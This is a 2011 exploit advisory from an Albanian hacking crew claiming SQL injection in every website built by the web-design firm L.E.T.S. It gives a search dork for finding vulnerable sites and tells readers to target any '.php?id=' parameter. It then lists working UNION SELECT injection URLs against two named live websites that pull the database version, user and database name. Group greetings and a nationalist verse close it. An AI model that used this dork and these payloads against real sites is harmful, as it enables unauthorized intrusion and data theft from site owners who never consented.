=========================================================================
Leading Edge Technology Solutions (L.E.T.S) SQL-i Vulnerability  
==========================================================================

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=     /\  | |  | |            ________    _____    _____ __    _    __   +=+=+=
+=+=+=    /  \ | |__| |    _____  / ______/   |  _  \  | ____|\ \  / \  / /   +=+=+=
+=+=+=   / /\ \| |__| |  /_____/  | |         | |_) /  | |__   \ \/   \/ /    +=+=+=
+=+=+=  / ____ \ |  | |           | |_______  | __\ \  |  __|   \       /     +=+=+=
+=+=+= /_/    \_\|  | |           |________/  |_|  \_\ | |_______\_____/_____ +=+=+=
+=+=+=                                                 |_____________________|+=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=              X-n3t - **RoAd_KiLlEr** - The|Denny` - The_1nv1s1bl3      +=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=  0ne Nation , 0ne People , 0ne Culture , 0ne Language = Ethnic Albania +=+=+=
+=+=+=                                                                        +=+=+=
+=+=+=           ....::: | ALBANIAN HACKING CREW | :::....        2011        +=+=+=
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
      0                                                                      0
      1                ###########################################           1
      0               I'm **RoAd_KiLlEr**  member from 1337 DAY Team         1
      1                ###########################################           0
      0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
[+]Title :.......Leading Edge Technology Solutions (L.E.T.S) SQL-i Vulnerability     
[+]Author :......**RoAd_KiLlEr**
[+]Tested on :...Win Xp Sp 2/3 
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: sukihack[at]gmail[dot]com
[~] Home: http://1337day.com/author/2447 & http://road-killer.blogspot.com
[~] Original Advisory:http://road-killer.blogspot.com/2011/05/leading-edge-technology-solutions-lets.html
[~] Vendor: http://www.leadedgetech.com
 
==========ExPl0iT3d by **RoAd_KiLlEr**==========
 
 
 
[+] DORK: intext:Website By L.E.T.S
 


[+] Description:

At Leading Edge Technologies Web Design grows out of a moment of inspiration. Whether for the innovator or small business entrepreneur, our mission is to conduct surveys and analyze the existing data of market production on specific products. Successful business entities evaluate competitors, target demographic data and explore product information from reliable sources as the easiest and safest way to prove success. 

One of the most important components of success or failure in the e-commerce arena is to target the popularity of your services. Each product has a unique selling proposition and each product has a unique value to customers.

 


[ I ].  SQL-i Vulnerability
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



[+++] Important: Every web page developed by L.E.T.S is vulnerable to Sql-Injection.

      Use the Dork to find websites,than find any "php" file with "id" parameter  [ .php?id= ].

      

 
 
 
[P0C]:  http://127.0.0.1/testimonial.detail.view.php?ID=[SQL INJECTION]
 



[L!v3 D3m0's]:
 
http://www.grainviewdesigns.com/testimonial.detail.view.php?ID=17+and+1=0+Union+select+1,2,@@version,user(),database(),6,7,8,9,10,11,12,13--

http://www.bni-leadingedge.com/profile.detail.php?STARTR=0&MPID=30+and+1=0+Union+select+1,2,3,@@version,user(),database(),7,8,9,10,11,12,13,14,15,16,17--

                                                                                  

 


 
 
 
[+] TIME TABLE:
  
04 May 2011 - Vulnerability discovered.
05  May 2011   - Advisory released.
 
 
===========================================================================================
[!] Albanian Hacking Crew          
===========================================================================================
[!] **RoAd_KiLlEr**  
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | The|DennY` | THE_1NV1S1BL3 | KHG & All Albanian/Kosova Hackers
===========================================================================================
[!] Spec Th4nks:  r0073r  | indoushka | Sid3^effects | DoNnY | MaFiTeRRoR | All  1337day Members | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================